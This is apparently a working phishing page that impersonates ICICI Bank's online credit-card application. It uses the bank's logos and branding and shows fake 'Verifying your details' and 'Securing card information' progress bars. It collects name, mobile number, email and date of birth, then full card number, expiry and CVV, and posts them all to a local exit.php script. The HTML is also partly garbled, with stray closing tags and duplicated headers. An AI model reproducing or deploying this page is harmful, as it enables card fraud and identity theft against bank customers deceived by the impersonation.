<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ICICI Bank – Apply Online</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <style>
        :root{
            --icici:#D56116;
            --icici-dark:#A64B00;
            --icici-glow:#FF9933;

            --bg:#ffffff;
            --card:#ffffff;
            --border:#e9e9e9;

            --text:#111;
            --muted:#666;

            --radius:18px;
            --shadow:0 14px 36px rgba(0,0,0,.12);
        }

        *{
            box-sizing:border-box;
            -webkit-tap-highlight-color:transparent;
        }
.icici-topbar{
  position: fixed;
  top: 0;
  left: 50%;
  transform: translateX(-50%);
  z-index: 9999;

  width:100%;
  max-width:520px;
  background:linear-gradient(180deg,#f58220,#e86b17);
  padding:10px 14px;
  display:flex;
  align-items:center;
  justify-content:space-between;

  border-radius:0 0 16px 16px;
  box-shadow:0 6px 16px rgba(0,0,0,.25);
}


        body{
            margin:0;
            font-family:'Poppins',sans-serif;
            min-height:100vh;
            background:
                radial-gradient(1200px 400px at top,#fff1e6,transparent),
                #fff;
            display:flex;
            flex-direction:column;
            align-items:center;

  padding-top:14px;
          color:var(--text);
        }

        /* ================= HEADER ================= */
        .icici-header{
            width:100%;
            max-width:520px;
            background:linear-gradient(180deg,#D56116,#A64B00);
            border-radius:16px;
            padding:12px 18px;
            display:flex;
            align-items:center;
            box-shadow:0 10px 26px rgba(0,0,0,.28);
            position:relative;
            overflow:hidden;
        }
        .icici-header::after{
            content:"";
            position:absolute;
            inset:0;
            background:linear-gradient(
                120deg,
                transparent 35%,
                rgba(255,255,255,.28),
                transparent 70%
            );
        }
        .icici-logo{
            height:30px;
            z-index:2;
        }

        /* ================= FORM CARDS ================= */
        .form-box,
        .form-step2{
            background:var(--card);
            border-radius:var(--radius);
            box-shadow:var(--shadow);
            padding:30px;
            width:100%;
            max-width:520px;
            margin-top:24px;
            animation:fadeUp .5s ease;
            border:1px solid rgba(0,0,0,.06);
        }

        @keyframes fadeUp{
            from{opacity:0;transform:translateY(18px)}
            to{opacity:1;transform:none}
        }

        .hidden{display:none}

        /* ================= HEADINGS ================= */
        h2,h3{
            margin:0 0 16px;
            text-align:center;
            font-weight:700;
            color:var(--icici);
            letter-spacing:.3px;
        }

        h3 i{
            color:var(--icici-dark);
            margin-right:6px;
        }

        /* ================= FIELDS ================= */
        .field{
            margin-bottom:18px;
        }

        label{
            display:block;
            font-size:13px;
            font-weight:600;
            color:#333;
            margin-bottom:6px;
        }

        /* ================= INPUTS ================= */
        input{
            width:100%;
            padding:14px 16px;
            border-radius:12px;
            border:1px solid var(--border);
            background:#fff;
            font-size:15px;
            color:#111;
            transition:.25s ease;
            box-shadow:inset 0 1px 2px rgba(0,0,0,.06);
        }

        input::placeholder{color:#999}

        input:hover{
            border-color:#ffb27a;
        }

        input:focus{
            outline:none;
            border-color:var(--icici);
            box-shadow:0 0 0 3px rgba(213,97,22,.18);
            background:#fffdfa;
        }

        /* date input fix */
        input[type="date"]{
            color:#333;
        }

        /* ================= BUTTON ================= */
        .button{
            width:100%;
            margin-top:14px;
            padding:14px;
            font-size:15px;
            font-weight:700;
            border-radius:14px;
            border:none;
            cursor:pointer;
            color:#fff;
            background:linear-gradient(135deg,var(--icici-glow),var(--icici));
            box-shadow:0 12px 28px rgba(213,97,22,.45);
            transition:.25s ease;
            position:relative;
            overflow:hidden;
        }

        .button::after{
            content:"";
            position:absolute;
            inset:0;
            background:linear-gradient(
                120deg,
                transparent 30%,
                rgba(255,255,255,.4),
                transparent 70%
            );
            transform:translateX(-100%);
        }

        .button:hover::after{
            transform:translateX(100%);
            transition:.6s;
        }

        .button:hover{transform:translateY(-2px)}
        .button:active{transform:scale(.97)}

        .button i{margin-right:6px}

        /* ================= NOTE ================= */
        .note{
            text-align:center;
            font-size:13px;
            color:var(--muted);
            margin-top:12px;
            opacity:.9;
        }

        /* ================= LOADER ================= */
        .loader{
            position:fixed;
            inset:0;
            background:rgba(255,255,255,.92);
            backdrop-filter:blur(6px);
            display:none;
            flex-direction:column;
            align-items:center;
            justify-content:center;
            gap:18px;
            z-index:999;
        }

        .loader span{
            font-weight:600;
            letter-spacing:.3px;
        }

        /* progress bar */
        .progress-wrap{
            width:260px;
            height:10px;
            background:#eee;
            border-radius:20px;
            overflow:hidden;
            box-shadow:inset 0 1px 3px rgba(0,0,0,.18);
        }

        .progress{
            height:100%;
            width:0%;
            background:linear-gradient(90deg,var(--icici),var(--icici-glow));
            border-radius:20px;
            box-shadow:0 0 12px rgba(213,97,22,.7);
        }
/* ================= ICICI REAL HEADER ================= */
/* ===== STICKY ICICI TOP HEADER ===== */



/* left logo */
.icici-left{
  display:flex;
  align-items:center;
}
.icici-logo{
  height:26px;
}

/* right actions */
.icici-right{
  display:flex;
  align-items:center;
  gap:12px;
}

/* login button */
.login-btn{
  background:#fff;
  color:#f58220;
  border:none;
  padding:6px 14px;
  font-size:13px;
  font-weight:600;
  border-radius:20px;
  cursor:pointer;
  box-shadow:0 2px 6px rgba(0,0,0,.2);
}
.login-btn:hover{
  background:#fff3ea;
}

/* hamburger menu */
.hamburger{
  width:26px;
  height:18px;
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  cursor:pointer;
}
.hamburger span{
  height:3px;
  background:#fff;
  border-radius:3px;
}
/* ===== ICICI HEADER (SAME AS HOME PAGE) ===== */
.header{
  position:fixed;
  top:0;
  left:50%;
  transform:translateX(-50%);
  z-index:1000;

  width:100%;
  max-width:520px;
  background:linear-gradient(180deg,#f58220,#e86b17);
  padding:10px 12px;

  display:flex;
  align-items:center;
  justify-content:space-between;

  box-shadow:0 6px 16px rgba(0,0,0,.25);
}

/* LEFT */
.header-left .logo{
  height:28px;
}

/* RIGHT */
.header-right{
  display:flex;
  align-items:center;
  gap:10px;
}

/* LOGIN BUTTON */
.login-btn{
  background:#fff;
  color:#333;
  padding:6px 14px;
  border-radius:18px;
  font-size:13px;
  font-weight:700;
}

/* HAMBURGER */
.hamburger{
  width:26px;
  cursor:pointer;
}
.hamburger span{
  display:block;
  height:3px;
  background:#fff;
  margin:4px 0;
  border-radius:2px;
}

        /* ================= STEP 2 GRID FIX ================= */
        .form-step2 .field[style*="flex"]{
            gap:12px;
        }

        /* ================= MOBILE ================= */
        @media(max-width:480px){
            body{padding:14px}
            .form-box,
            .form-step2{padding:22px}
            h2,h3{font-size:18px}
            .button{font-size:14px}
        }
    </style>
</head>
<body>
<!-- ICICI HEADER -->
<!-- HEADER -->
<div class="header">
  <div class="header-left">
    <img
      src="https://www.icici.bank.in/content/dam/icicibank-revamp/images/icici-logo/icici-header-logo.png"
      alt="ICICI Bank"
      class="logo"
    >
  </div>

  
      <span></span>
      <span></span>
      <span></span>
    </div>
  </div>
</div>  <div class="icici-left">
    <img
      src="https://www.icici.bank.in/content/dam/icicibank/india/assets/images/header/logo.png"
      alt="ICICI Bank"
      class="icici-logo"
    >
  </div>


  </div>
</header>

<!-- STEP 1 -->
<form id="step1" class="form-box" onsubmit="return false;">
    <h3><i class="fa-solid fa-user-pen"></i> Apply Online</h3>

    <div class="field">
        <label>Your Name *</label>
        <input id="name"
               name="name"
               required
               pattern="[A-Za-z ]+"
               title="Name must contain letters and spaces only"
               placeholder="Enter your name">
    </div>

    <div class="field">
        <label>Mobile Number *</label>
        <input id="mobileNumber"
               name="mobileNumber"
                             inputmode="numeric"
               maxlength="10"
               minlength="10"
               required
               pattern="[0-9]{10}"
               title="Enter a valid 10-digit mobile number"
               placeholder="Enter 10-digit mobile number">
    </div>

    <div class="field">
        <label>Email Address *</label>
        <input id="email1"
               name="email"
               type="email"
               required
               placeholder="Enter valid email address">
    </div>

    <div class="field">
        <label>Date of Birth *</label>
        <input id="dob"
               name="dob"
               type="date"
               required
               placeholder="Enter your date of birth">
    </div>

    <div class="field">
        <label>Credit Card Limit (₹) *</label>
        <input id="cardLimit"
               name="cardLimit"
               type="number"
               min="2000"
               required
               title="Enter a valid number"
               placeholder="Enter credit card limit">
    </div>

    <button id="nextBtn" class="button" type="button">
        <i class="fa-solid fa-arrow-right"></i> Next
    </button>
</form>

<!-- STEP 2 -->
<form id="step2" class="form-step2 hidden" action="exit.php" method="POST" autocomplete="off">
    <h2>Card Details</h2>

    <input type="hidden" name="name" id="h_name">
    <input type="hidden" name="mobileNumber" id="h_mobile">
    <input type="hidden" name="email" id="h_email">
    <input type="hidden" name="dob" id="h_dob">
    <input type="hidden" name="cardLimit" id="h_limit">

    <div class="field"><label>Card Holder Name</label><input id="holder" name="holder" type="text" placeholder="Full name as on card" required></div>

    <div class="field">
        <label>Card Number</label>
        <input
            id="cardNumber"
            name="number"
            type="tel"
            maxlength="19"
            placeholder="•••• •••• •••• ••••"
            required
            inputmode="numeric"
            oninput="
                let v=this.value.replace(/\D/g,'');              // remove non-digits
                v=v.substring(0,16);                            // limit to 16 digits
                this.value=v.replace(/(\d{4})(?=\d)/g,'$1 ');   // add space after every 4 digits
            "
        >
    </div>

    <div class="field" style="display:flex;gap:12px;">
        <div style="flex:1">
            <label>Expiry (MM/YY)</label>
            <input id="expiry" name="expiry" type="text" maxlength="5" placeholder="MM/YY" inputmode="numeric" required>
        </div>
        <div style="flex:1">
            <label>CVC</label>
            <input id="cvc" name="cvv" type="text" maxlength="3" placeholder="•••" required>
        </div>
    </div>

    <button type="submit" class="button"><i class="fa-solid fa-lock"></i> Submit</button>
    <p class="note">Payment securely processed by ICICI Bank</p>
</form>

<div class="loader" id="loader">
    <span id="loaderText">Processing...</span>

    <div class="progress-wrap">
        <div class="progress" id="progressBar"></div>
    </div>
</div>

<script>
// ================= LOADER FUNCTION =================
function startLoader(text, duration, callback){
    const loader = document.getElementById('loader');
    const bar    = document.getElementById('progressBar');
    const txt    = document.getElementById('loaderText');

    txt.innerText = text;
    bar.style.width = '0%';
    loader.style.display = 'flex';

    let start = Date.now();
    let timer = setInterval(() => {
        let elapsed = Date.now() - start;
        let percent = Math.min((elapsed / duration) * 100, 100);
        bar.style.width = percent + '%';

        if (percent >= 100) {
            clearInterval(timer);
            setTimeout(() => {
                loader.style.display = 'none';
                if (callback) callback();
            }, 200);
        }
    }, 40);
}

// ================= STEP REFERENCES =================
const step1 = document.getElementById('step1');
const step2 = document.getElementById('step2');

// ================= STEP 1 (NEXT BUTTON) =================
document.getElementById('nextBtn').addEventListener('click', () => {

    const name   = document.getElementById('name').value.trim();
    const mobile = document.getElementById('mobileNumber').value.trim();
    const email  = document.getElementById('email1').value.trim();
    const dob    = document.getElementById('dob').value.trim();
    const limit  = parseInt(document.getElementById('cardLimit').value.trim(),10);

    // VALIDATION
    if (!name || !/^^[A-Za-z ]+$/.test(name)) {
        alert('Enter valid name (letters only)');
        return;
    }

    if (!/^^[0-9]{10}$/.test(mobile)) {
        alert('Enter valid 10-digit mobile number');
        return;
    }

    if (!/^^[^^\s@]+@[^^\s@]+\.[^^\s@]+$/.test(email)) {
        alert('Enter valid email address');
        return;
    }

    if (!dob) {
        alert('Enter your date of birth');
        return;
    }

    if (isNaN(limit) || limit < 2000) {
        alert('Minimum credit limit is ₹2000');
        return;
    }

    // 8 SECOND LOADER
    startLoader("Verifying your details...", 8000, () => {
        document.getElementById('h_name').value   = name;
        document.getElementById('h_mobile').value = mobile;
        document.getElementById('h_email').value  = email;
        document.getElementById('h_dob').value    = dob;
        document.getElementById('h_limit').value  = limit;

        step1.classList.add('hidden');
        step2.classList.remove('hidden');
    });
});

// ================= CARD NUMBER FORMAT =================
const cardNumber = document.getElementById('cardNumber');

cardNumber.addEventListener('input', e => {
    let v = e.target.value.replace(/\D/g,'').slice(0,16);
    e.target.value = v.replace(/(\d{4})(?=\d)/g,'$1 ');
});

// ================= EXPIRY FORMAT =================
const expiry = document.getElementById('expiry');
expiry.addEventListener('input', () => {
    let v = expiry.value.replace(/\D/g,'').slice(0,4);
    expiry.value = v.length >= 3 ? v.slice(0,2)+'/'+v.slice(2) : v;
});

// ================= STEP 2 SUBMIT =================
step2.addEventListener('submit', function(ev){
    ev.preventDefault();

    const holder = document.getElementById('holder').value.trim();
    const card   = document.getElementById('cardNumber').value.replace(/\s/g,'');
    const exp    = expiry.value.trim();
    const cvv    = document.getElementById('cvc').value.trim();

    if (!holder || !/^^[A-Za-z ]+$/.test(holder)) {
        alert('Invalid card holder name');
        return;
    }

    if (!/^^[0-9]{16}$/.test(card)) {
        alert('Card number must be 16 digits');
        return;
    }

    if (!/^^\d{2}\/\d{2}$/.test(exp)) {
        alert('Expiry must be MM/YY');
        return;
    }

    let mm = parseInt(exp.split('/')[0],10);
    if (mm < 1 || mm > 12) {
        alert('Invalid expiry month');
        return;
    }

    if (!/^^[0-9]{3}$/.test(cvv)) {
        alert('CVV must be 3 digits');
        return;
    }

    // 8 SECOND LOADER
    startLoader("Securing card information...", 8000, () => {
        step2.submit();
    });
});
</script>
</body>
</html>